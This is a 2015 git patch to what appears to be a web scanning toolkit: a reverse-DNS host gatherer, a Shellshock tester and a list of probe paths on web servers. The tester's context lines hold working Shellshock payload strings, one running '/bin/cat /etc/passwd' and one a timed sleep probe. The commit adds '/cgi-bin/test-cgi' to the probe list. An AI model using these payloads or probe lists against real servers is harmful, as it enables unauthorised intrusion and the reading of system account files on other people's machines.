From 15c6cc45febe7583c2676a066a4d8fe0234d9d71 Mon Sep 17 00:00:00 2001 From: xiao Date: Thu, 2 Jul 2015 09:19:00 +0800 Subject: [PATCH] changed --- gather.py | 5 ++++- tester/shock.py | 2 +- uris.txt | 1 + 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/gather.py b/gather.py index bea7b27..52cbeec 100755 --- a/gather.py +++ b/gather.py @@ -87,13 +87,16 @@ def queryRDNS_old(domain): def queryRDNS(domain): hostInfos = socket.gethostbyname_ex(domain) #r = (hostname, aliaslist, ipaddrlist) for ipaddr in hostInfos[2]: + + print '[IP Address: ' + ipaddr + ']' + # TODO: 加入翻页代码 try: response = urllib2.urlopen('http://dns.aizhan.com/%s/' % (ipaddr)) text = response.read() tree = etree.HTML(text) nodes = tree.xpath(r"//td[@class='dns-links']/a/@href") for node in nodes: - print node + print node, getTitle(node) except Exception, e: print e diff --git a/tester/shock.py b/tester/shock.py index 9cf1716..c211b49 100644 --- a/tester/shock.py +++ b/tester/shock.py @@ -15,7 +15,7 @@ EXPLOIT1 = '() { :;};a=`/bin/cat /etc/passwd`;echo $a' SLEEP_TIME = 7 -EXPLOIT2 = '() { :;}; /bin/sleep %s' % SLEEP_TIME +EXPLOIT2 = '() { :;}; /bin/sleep %d' % SLEEP_TIME #env -i X='() { (a)=>\' bash -c 'echo date'; cat echo #无漏洞的输出: diff --git a/uris.txt b/uris.txt index a165576..bf2e8aa 100644 --- a/uris.txt +++ b/uris.txt @@ -1,3 +1,4 @@ /uc_server/control/admin/db.php /source/plugin/myrepeats/table/table_myrepeats.php /install/include/install_lang.php +/cgi-bin/test-cgi